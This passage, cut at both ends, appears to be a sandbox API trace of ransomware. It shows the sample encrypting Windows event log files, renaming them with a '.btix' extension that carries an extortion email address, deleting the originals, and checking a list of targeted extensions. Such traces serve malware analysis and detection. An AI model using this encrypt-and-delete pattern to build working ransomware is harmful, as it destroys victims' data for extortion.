hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.337] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0050.338] GetLastError () returned 0x0 [0050.338] ReadFile (in: hFile=0x358, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x11000, lpOverlapped=0x0) returned 1 [0050.364] WriteFile (in: hFile=0x398, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x11010, lpOverlapped=0x0) returned 1 [0050.366] ReadFile (in: hFile=0x358, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.366] WriteFile (in: hFile=0x398, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x13a, lpOverlapped=0x0) returned 1 [0050.366] SetEndOfFile (hFile=0x398) returned 1 [0050.366] CloseHandle (hObject=0x398) returned 1 [0050.368] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.368] SetEndOfFile (hFile=0x358) returned 1 [0050.369] CloseHandle (hObject=0x358) returned 1 [0050.369] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0050.369] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 1 [0050.370] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0050.370] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0050.370] lstrlenW (lpString=".doc") returned 4 [0050.370] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0050.370] lstrlenW (lpString=".docx") returned 5 [0050.370] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0050.370] lstrlenW (lpString=".pdf") returned 4 [0050.370] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0050.370] lstrlenW (lpString=".xls") returned 4 [0050.370] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0050.370] lstrlenW (lpString=".xlsx") returned 5 [0050.370] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0050.370] lstrlenW (lpString=".ppt") returned 4 [0050.370] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0050.370] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0050.370] lstrlenW (lpString=".zip") returned 4 [0050.370] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0050.370] lstrlenW (lpString=".rar") returned 4 [0050.370] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0050.370] lstrlenW (lpString=".bz2") returned 4 [0050.370] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0050.370] lstrlenW (lpString=".7z") returned 3 [0050.370] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0050.370] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0050.370] lstrlenW (lpString=".dbf") returned 4 [0050.371] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0050.371] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0050.371] lstrlenW (lpString=".1cd") returned 4 [0050.371] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0050.371] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0050.371] lstrlenW (lpString=".jpg") returned 4 [0050.371] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0050.371] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0050.371] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0050.371] lstrlenW (lpString=".doc") returned 4 [0050.371] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0050.371] lstrlenW (lpString=".docx") returned 5 [0050.371] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0050.371] lstrlenW (lpString=".pdf") returned 4 [0050.371] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0050.371] lstrlenW (lpString=".xls") returned 4 [0050.371] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0050.371] lstrlenW (lpString=".xlsx") returned 5 [0050.371] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0050.371] lstrlenW (lpString=".ppt") returned 4 [0050.371] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0050.371] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0050.371] lstrlenW (lpString=".zip") returned 4 [0050.371] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0050.371] lstrlenW (lpString=".rar") returned 4 [0050.371] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0050.372] lstrlenW (lpString=".bz2") returned 4 [0050.372] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0050.372] lstrlenW (lpString=".7z") returned 3 [0050.372] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0050.372] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0050.372] lstrlenW (lpString=".dbf") returned 4 [0050.372] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0050.372] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0050.372] lstrlenW (lpString=".1cd") returned 4 [0050.372] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0050.372] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0050.372] lstrlenW (lpString=".jpg") returned 4 [0050.372] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0050.372] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0050.372] lstrlenW (lpString="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 53 [0050.372] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0050.372] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=69632) returned 1 [0050.372] CloseHandle (hObject=0x358) returned 1 [0050.372] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 0x20 [0050.372] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.373] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0050.373] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.373] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.373] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0050.373] GetLastError () returned 0x0 [0050.373] ReadFile (in: hFile=0x358, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x11000, lpOverlapped=0x0) returned 1 [0050.393] WriteFile (in: hFile=0x398, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x11010, lpOverlapped=0x0) returned 1 [0050.473] ReadFile (in: hFile=0x358, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.473] WriteFile (in: hFile=0x398, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x13e, lpOverlapped=0x0) returned 1 [0050.473] SetEndOfFile (hFile=0x398) returned 1 [0050.474] CloseHandle (hObject=0x398) returned 1 [0050.475] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.475] SetEndOfFile (hFile=0x358) returned 1 [0050.479] CloseHandle (hObject=0x358) returned 1 [0050.479] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0050.479] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 1 [0050.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0050.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0050.479] lstrlenW (lpString=".doc") returned 4 [0050.479] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0050.479] lstrlenW (lpString=".docx") returned 5 [0050.479] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0050.479] lstrlenW (lpString=".pdf") returned 4 [0050.480] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0050.480] lstrlenW (lpString=".xls") returned 4 [0050.480] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0050.480] lstrlenW (lpString=".xlsx") returned 5 [0050.480] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0050.480] lstrlenW (lpString=".ppt") returned 4 [0050.480] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0050.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0050.480] lstrlenW (lpString=".zip") returned 4 [0050.480] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0050.480] lstrlenW (lpString=".rar") returned 4 [0050.480] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0050.480] lstrlenW (lpString=".bz2") returned 4 [0050.480] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0050.480] lstrlenW (lpString=".7z") returned 3 [0050.480] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0050.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0050.480] lstrlenW (lpString=".dbf") returned 4 [0050.480] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0050.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0050.480] lstrlenW (lpString=".1cd") returned 4 [0050.480] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0050.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0050.480] lstrlenW (lpString=".jpg") returned 4 [0050.480] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0050.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0050.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0050.480] lstrlenW (lpString=".doc") returned 4 [0050.480] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0050.480] lstrlenW (lpString=".docx") returned 5 [0050.480] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0050.480] lstrlenW (lpString=".pdf") returned 4 [0050.480] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0050.480] lstrlenW (lpString=".xls") returned 4 [0050.480] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0050.480] lstrlenW (lpString=".xlsx") returned 5 [0050.481] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0050.481] lstrlenW (lpString=".ppt") returned 4 [0050.481] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0050.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0050.481] lstrlenW (lpString=".zip") returned 4 [0050.481] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0050.481] lstrlenW (lpString=".rar") returned 4 [0050.481] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0050.481] lstrlenW (lpString=".bz2") returned 4 [0050.481] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0050.481] lstrlenW (lpString=".7z") returned 3 [0050.481] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0050.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0050.481] lstrlenW (lpString=".dbf") returned 4 [0050.481] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0050.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0050.481] lstrlenW (lpString=".1cd") returned 4 [0050.481] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0050.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0050.481] lstrlenW (lpString=".jpg") returned 4 [0050.481] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0050.481] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0050.481] lstrlenW (lpString="Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 42 [0050.481] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0050.677] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=69632) returned 1 [0050.677] CloseHandle (hObject=0x358) returned 1 [0050.677] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 0x20 [0050.677] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.678] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0050.678] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.678] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.678] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0050.678] GetLastError () returned 0x0 [0050.678] ReadFile (in: hFile=0x358, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x11000, lpOverlapped=0x0) returned 1 [0050.680] WriteFile (in: hFile=0x398, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x11010, lpOverlapped=0x0) returned 1 [0050.681] ReadFile (in: hFile=0x358, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.682] WriteFile (in: hFile=0x398, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x128, lpOverlapped=0x0) returned 1 [0050.682] SetEndOfFile (hFile=0x398) returned 1 [0050.682] CloseHandle (hObject=0x398) returned 1 [0050.683] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.683] SetEndOfFile (hFile=0x358) returned 1 [0050.684] CloseHandle (hObject=0x358) returned 1 [0050.684] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0050.685] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 1 [0050.685] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0050.685] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0050.685] lstrlenW (lpString=".doc") returned 4 [0050.685] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0050.685] lstrlenW (lpString=".docx") returned 5 [0050.685] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0050.685] lstrlenW (lpString=".pdf") returned 4 [0050.685] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0050.685] lstrlenW (lpString=".xls") returned 4 [0050.685] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0050.685] lstrlenW (lpString=".xlsx") returned 5 [0050.685] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0050.685] lstrlenW (lpString=".ppt") returned 4 [0050.685] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0050.685] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0050.685] lstrlenW (lpString=".zip") returned 4 [0050.685] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0050.685] lstrlenW (lpString=".rar") returned 4 [0050.685] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0050.685] lstrlenW (lpString=".bz2") returned 4 [0050.685] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0050.685] lstrlenW (lpString=".7z") returned 3 [0050.685] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0050.685] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0050.685] lstrlenW (lpString=".dbf") returned 4 [0050.685] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0050.686] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0050.686] lstrlenW (lpString=".1cd") returned 4 [0050.686] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0050.686] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0050.686] lstrlenW (lpString=".jpg") returned 4 [0050.686] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0050.686] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0050.686] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0050.686] lstrlenW (lpString=".doc") returned 4 [0050.686] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0050.686] lstrlenW (lpString=".docx") returned 5 [0050.686] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0050.686] lstrlenW (lpString=".pdf") returned 4 [0050.686] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0050.686] lstrlenW (lpString=".xls") returned 4 [0050.686] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0050.686] lstrlenW (lpString=".xlsx") returned 5 [0050.686] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0050.686] lstrlenW (lpString=".ppt") returned 4 [0050.686] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0050.686] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0050.686] lstrlenW (lpString=".zip") returned 4 [0050.686] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0050.686] lstrlenW (lpString=".rar") returned 4 [0050.686] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0050.686] lstrlenW (lpString=".bz2") returned 4 [0050.686] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0050.686] lstrlenW (lpString=".7z") returned 3 [0050.686] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0050.686] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0050.686] lstrlenW (lpString=".dbf") returned 4 [0050.686] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0050.686] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0050.686] lstrlenW (lpString=".1cd") returned 4 [0050.686] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0050.687] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0050.687] lstrlenW (lpString=".jpg") returned 4 [0050.687] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0050.687] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0050.687] lstrlenW (lpString="Microsoft-Windows-Known Folders API Service.evtx") returned 48 [0050.687] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0050.687] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=69632) returned 1 [0050.687] CloseHandle (hObject=0x358) returned 1 [0050.687] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 0x20 [0050.687] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.687] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0050.687] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.687] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.687] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0050.688] GetLastError () returned 0x0 [0050.688] ReadFile (in: hFile=0x358, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x11000, lpOverlapped=0x0) returned 1 [0050.875] WriteFile (in: hFile=0x398, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x11010, lpOverlapped=0x0) returned 1 [0050.878] ReadFile (in: hFile=0x358, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.878] WriteFile (in: hFile=0x398, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x134, lpOverlapped=0x0) returned 1 